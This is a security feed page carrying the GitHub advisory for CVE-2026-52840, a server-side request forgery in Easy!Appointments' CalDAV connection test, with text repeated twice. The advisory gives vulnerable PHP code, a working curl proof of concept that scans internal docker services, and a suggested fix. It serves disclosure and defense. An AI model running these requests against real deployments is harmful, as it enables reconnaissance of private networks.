Answer in brief
CVE-2026-52840 records a Low severity (CVSS 2.7) ssrf vulnerability in Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
Answer in brief
CVE-2026-52840 records a Low severity (CVSS 2.7) ssrf vulnerability in Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
Monitor this advisory for an available fix and review any installs of the affected package.
Local check
hol-guard supply-chain scanSSRF describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-52840 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| alextselegidis/easyappointmentscomposer | <=1.5.2 | Not reported |
Reported by GitHub Security Advisories (ghsa).
CVE-2026-52840 records a Low severity (CVSS 2.7) ssrf vulnerability in Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for alextselegidis/easyappointments.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardMonitor this advisory for an available fix and review any installs of the affected package.
Local check
hol-guard supply-chain scanSSRF describes the vulnerability class recorded for this advisory. The current record does not mark CVE-2026-52840 as known exploited; continue to monitor the source for status changes. The feed includes package mappings that can be checked against lockfiles and deployed manifests.
| Package | Affected range | Fixed version |
|---|---|---|
| alextselegidis/easyappointmentscomposer | <=1.5.2 | Not reported |
Reported by GitHub Security Advisories (ghsa).
CVE-2026-52840 records a Low severity (CVSS 2.7) ssrf vulnerability in Easy!Appointments has server-side request forgery in CalDAV connection test that exposes the deployment's internal network. The source record does not mark it as known exploited. 1 affected package is mapped in the feed.
The source record does not mark it as known exploited.
Check lockfiles and deployed manifests for alextselegidis/easyappointments.
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard### Summary `Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request's `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind. ### Preconditions - Backend login on the target instance. Non-admin attackers supply their own `provider_id` and pass the per-row check at `Caldav.php:52`; admins can target any row. - Default deployment per the project's own `docker-compose.yml`, which puts `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap`, `phpldapadmin`, and `swagger-ui` on the same docker network as `php-fpm`. ### Details ```php // application/controllers/Caldav.php:45-82 public function connect_to_server(): void { try { $provider_id = request('provider_id'); $user_id = session('user_id'); if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) { throw new RuntimeException('You do not have the required permissions for this task.'); } $caldav_url = request('caldav_url'); // (*) attacker-controlled $caldav_username = request('caldav_username'); $caldav_password = request('caldav_password'); $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); // (*) sink ... } catch (GuzzleException | InvalidArgumentException $e) { json_response([ 'success' => false, 'message' => $e->getMessage(), // (*) upstream body reflected ]); } } ``` The per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. `$caldav_url` flows unchanged into `Caldav_sync::test_connection` at `application/libraries/Caldav_sync.php:389`, which calls `get_http_client` to construct a Guzzle client whose `base_uri` is the attacker URL (`Caldav_sync.php:375-382`), then issues `REPORT` against it via `fetch_events` at `Caldav_sync.php:558`. The only input check in `get_http_client` is `filter_var($caldav_url, FILTER_VALIDATE_URL)` at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass. When Guzzle raises `RequestException`, its `getMessage()` formats as ``Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>``. `Caldav::connect_to_server` returns that string verbatim in `message`. For `ConnectException` (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network. ### Proof of concept **Setup** 1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack: ```bash git clone https://github.com/alextselegidis/easyappointments cd easyappointments git checkout 1.5.2 cp config-sample.php config.php docker compose up -d until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done ``` 2. Run the console installer. The seed sets administrator's password to the literal string `administrator` (`application/libraries/Instance.php:99`): ```bash docker compose exec -T php-fpm php index.php console install ``` 3. Log in as `administrator` (the project's session cookie is `ea_session`) and create an attacker provider. The default `require_phone_number=1` setting makes `phone_number` mandatory: ```bash export ADMIN_JAR=/tmp/admin.cookies curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode 'provider[first_name]=Mal' \ --data-urlencode 'provider[last_name]=Lory' \ --data-urlencode 'provider[email][email protected]' \ --data-urlencode 'provider[phone_number]=+10000000000' \ --data-urlencode 'provider[timezone]=UTC' \ --data-urlencode 'provider[language]=english' \ --data-urlencode 'provider[settings][username]=mallory' \ --data-urlencode 'provider[settings][password]=Attacker-pw-1' \ --data-urlencode 'provider[settings][notifications]=0' export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'") ``` 4. Log in as the attacker into a dedicated cookie jar: ```bash export ATTACKER_JAR=/tmp/attacker.cookies curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=mallory" \ --data-urlencode "password=Attacker-pw-1" > /dev/null ``` **Exploit** 1. The attacker probes the `nginx` container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own `$ATTACKER_ID` so the row-ownership check at `Caldav.php:52` succeeds; the URL has nothing to do with the row: ```bash CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "provider_id=$ATTACKER_ID" \ --data-urlencode "caldav_url=http://nginx/some/404/path" \ --data-urlencode "caldav_username=x" \ --data-urlencode "caldav_password=x" ``` Observed (verified on a fresh `docker compose up`): `{"success":false,"message":"Client error: \`REPORT http:\/\/nginx\/some\/404\/path\/\` resulted in a \`404 Not Found\` response:\n\n<!doctype html>\n<html lang=\"en\" style=\"\n height: 100%;\n\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X- (truncated...)\n"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON. 2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim: ```bash for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) printf '\n=== %s ===\n' "$target" curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "provider_id=$ATTACKER_ID" \ --data-urlencode "caldav_url=http://$target/" \ --data-urlencode "caldav_username=x" \ --data-urlencode "caldav_password=x" done ``` Observed: `mysql:3306` returns `cURL error 1: Received HTTP/0.9 when not allowed` - port open, not HTTP. `swagger-ui:8080` returns `Client error: \`REPORT http://swagger-ui:8080/\` resulted in a \`405 Not Allowed\` response: <html>\r\n<head><title>405 Not Allowed</title>...` - port open, HTTP, nginx fronts it. `mailpit:8025` and `phpmyadmin` (port 80) return `{"success":true}` - port open, HTTP, the CalDAV `REPORT` was accepted without a 4xx. `nonexistent.invalid` returns `cURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist. ### Impact - **Confidentiality:** Reaches arbitrary HTTP and HTTPS hosts reachable from the `php-fpm` container, including loopback, the docker network's `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap` services, and any RFC1918 / link-local IP on the host network. - **Confidentiality:** Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON `message` field, enough to fingerprint internal services and read short error pages, banners, or status documents. ### Suggestions to fix > _This has not been tested - it is illustrative only._ Reject non-`http`/`https` schemes and resolved private addresses before constructing the Guzzle client. ```diff $caldav_url = request('caldav_url'); + + $scheme = parse_url($caldav_url, PHP_URL_SCHEME); + $host = parse_url($caldav_url, PHP_URL_HOST) ?: ''; + $ip = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host); + + if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host + || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + throw new InvalidArgumentException('CalDAV URL is not allowed.'); + } + $caldav_username = request('caldav_username'); $caldav_password = request('caldav_password'); $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); ``` ### Credit Dredsen, 2026.
### Summary `Caldav::connect_to_server` at `application/controllers/Caldav.php:60` hands the request's `caldav_url` to a Guzzle `REPORT` call without scheme or host validation. A logged-in backend user (admin, provider, or secretary) reaches loopback, RFC1918, and link-local hosts on the deployment's network. The Guzzle exception path returns the upstream status code plus ~120 bytes of response body in the JSON `message` field (`Caldav.php:74-78`), so the SSRF is semi-blind. ### Preconditions - Backend login on the target instance. Non-admin attackers supply their own `provider_id` and pass the per-row check at `Caldav.php:52`; admins can target any row. - Default deployment per the project's own `docker-compose.yml`, which puts `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap`, `phpldapadmin`, and `swagger-ui` on the same docker network as `php-fpm`. ### Details ```php // application/controllers/Caldav.php:45-82 public function connect_to_server(): void { try { $provider_id = request('provider_id'); $user_id = session('user_id'); if (cannot('edit', PRIV_USERS) && (int) $user_id !== (int) $provider_id) { throw new RuntimeException('You do not have the required permissions for this task.'); } $caldav_url = request('caldav_url'); // (*) attacker-controlled $caldav_username = request('caldav_username'); $caldav_password = request('caldav_password'); $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); // (*) sink ... } catch (GuzzleException | InvalidArgumentException $e) { json_response([ 'success' => false, 'message' => $e->getMessage(), // (*) upstream body reflected ]); } } ``` The per-row check at line 52 only constrains *which provider record* the caller may write to; it does not constrain *where the outbound request lands*. `$caldav_url` flows unchanged into `Caldav_sync::test_connection` at `application/libraries/Caldav_sync.php:389`, which calls `get_http_client` to construct a Guzzle client whose `base_uri` is the attacker URL (`Caldav_sync.php:375-382`), then issues `REPORT` against it via `fetch_events` at `Caldav_sync.php:558`. The only input check in `get_http_client` is `filter_var($caldav_url, FILTER_VALIDATE_URL)` at line 363, which validates the URL grammar - not the host - so loopback, RFC1918, link-local, and arbitrary internal hostnames pass. When Guzzle raises `RequestException`, its `getMessage()` formats as ``Client error: `REPORT http://target/` resulted in a `405 Method Not Allowed` response: <body truncated to ~120 chars>``. `Caldav::connect_to_server` returns that string verbatim in `message`. For `ConnectException` (port closed, DNS failure, TLS handshake error) the message names the host, port, and underlying cURL error number - enough to port-scan the deployment's network. ### Proof of concept **Setup** 1. Clone the repository, pin to the audited release, copy the sample config, and bring up the bundled stack: ```bash git clone https://github.com/alextselegidis/easyappointments cd easyappointments git checkout 1.5.2 cp config-sample.php config.php docker compose up -d until curl -fsS http://localhost/ -o /dev/null; do sleep 2; done ``` 2. Run the console installer. The seed sets administrator's password to the literal string `administrator` (`application/libraries/Instance.php:99`): ```bash docker compose exec -T php-fpm php index.php console install ``` 3. Log in as `administrator` (the project's session cookie is `ea_session`) and create an attacker provider. The default `require_phone_number=1` setting makes `phone_number` mandatory: ```bash export ADMIN_JAR=/tmp/admin.cookies curl -s -c $ADMIN_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -c $ADMIN_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=administrator" \ --data-urlencode "password=administrator" > /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ADMIN_JAR) curl -s -b $ADMIN_JAR -X POST http://localhost/index.php/providers/store \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode 'provider[first_name]=Mal' \ --data-urlencode 'provider[last_name]=Lory' \ --data-urlencode 'provider[email][email protected]' \ --data-urlencode 'provider[phone_number]=+10000000000' \ --data-urlencode 'provider[timezone]=UTC' \ --data-urlencode 'provider[language]=english' \ --data-urlencode 'provider[settings][username]=mallory' \ --data-urlencode 'provider[settings][password]=Attacker-pw-1' \ --data-urlencode 'provider[settings][notifications]=0' export ATTACKER_ID=$(docker compose exec -T mysql mysql -uuser -ppassword easyappointments -N -B \ -e "SELECT u.id FROM ea_users u JOIN ea_user_settings s ON s.id_users=u.id WHERE s.username='mallory'") ``` 4. Log in as the attacker into a dedicated cookie jar: ```bash export ATTACKER_JAR=/tmp/attacker.cookies curl -s -c $ATTACKER_JAR http://localhost/index.php/login -o /dev/null CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -c $ATTACKER_JAR -X POST http://localhost/index.php/login/validate \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "username=mallory" \ --data-urlencode "password=Attacker-pw-1" > /dev/null ``` **Exploit** 1. The attacker probes the `nginx` container that fronts Easy!Appointments itself, hitting a 404 path. They pass their own `$ATTACKER_ID` so the row-ownership check at `Caldav.php:52` succeeds; the URL has nothing to do with the row: ```bash CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "provider_id=$ATTACKER_ID" \ --data-urlencode "caldav_url=http://nginx/some/404/path" \ --data-urlencode "caldav_username=x" \ --data-urlencode "caldav_password=x" ``` Observed (verified on a fresh `docker compose up`): `{"success":false,"message":"Client error: \`REPORT http:\/\/nginx\/some\/404\/path\/\` resulted in a \`404 Not Found\` response:\n\n<!doctype html>\n<html lang=\"en\" style=\"\n height: 100%;\n\">\n<head>\n <meta charset=\"utf-8\">\n <meta http-equiv=\"X- (truncated...)\n"}` - the upstream HTTP status and the first chunk of the response body are reflected in the JSON. 2. The attacker scans the docker network. Each target produces a distinct exception shape that fingerprints the service. The maintainer can paste the loop verbatim: ```bash for target in mysql:3306 swagger-ui:8080 mailpit:8025 phpmyadmin nonexistent.invalid; do CSRF=$(awk '$6=="csrf_cookie"{print $7}' $ATTACKER_JAR) printf '\n=== %s ===\n' "$target" curl -s -b $ATTACKER_JAR -X POST http://localhost/index.php/caldav/connect_to_server \ --data-urlencode "csrf_token=$CSRF" \ --data-urlencode "provider_id=$ATTACKER_ID" \ --data-urlencode "caldav_url=http://$target/" \ --data-urlencode "caldav_username=x" \ --data-urlencode "caldav_password=x" done ``` Observed: `mysql:3306` returns `cURL error 1: Received HTTP/0.9 when not allowed` - port open, not HTTP. `swagger-ui:8080` returns `Client error: \`REPORT http://swagger-ui:8080/\` resulted in a \`405 Not Allowed\` response: <html>\r\n<head><title>405 Not Allowed</title>...` - port open, HTTP, nginx fronts it. `mailpit:8025` and `phpmyadmin` (port 80) return `{"success":true}` - port open, HTTP, the CalDAV `REPORT` was accepted without a 4xx. `nonexistent.invalid` returns `cURL error 6: Could not resolve host`. Each shape lets the attacker enumerate which internal services exist. ### Impact - **Confidentiality:** Reaches arbitrary HTTP and HTTPS hosts reachable from the `php-fpm` container, including loopback, the docker network's `mysql`, `mailpit`, `phpmyadmin`, `baikal`, `openldap` services, and any RFC1918 / link-local IP on the host network. - **Confidentiality:** Reads up to ~120 bytes of each upstream HTTP response and the exact connection-failure reason via the JSON `message` field, enough to fingerprint internal services and read short error pages, banners, or status documents. ### Suggestions to fix > _This has not been tested - it is illustrative only._ Reject non-`http`/`https` schemes and resolved private addresses before constructing the Guzzle client. ```diff $caldav_url = request('caldav_url'); + + $scheme = parse_url($caldav_url, PHP_URL_SCHEME); + $host = parse_url($caldav_url, PHP_URL_HOST) ?: ''; + $ip = filter_var($host, FILTER_VALIDATE_IP) ?: gethostbyname($host); + + if (!in_array($scheme, ['http', 'https'], true) || $ip === '' || $ip === $host + || !filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { + throw new InvalidArgumentException('CalDAV URL is not allowed.'); + } + $caldav_username = request('caldav_username'); $caldav_password = request('caldav_password'); $this->caldav_sync->test_connection($caldav_url, $caldav_username, $caldav_password); ``` ### Credit Dredsen, 2026.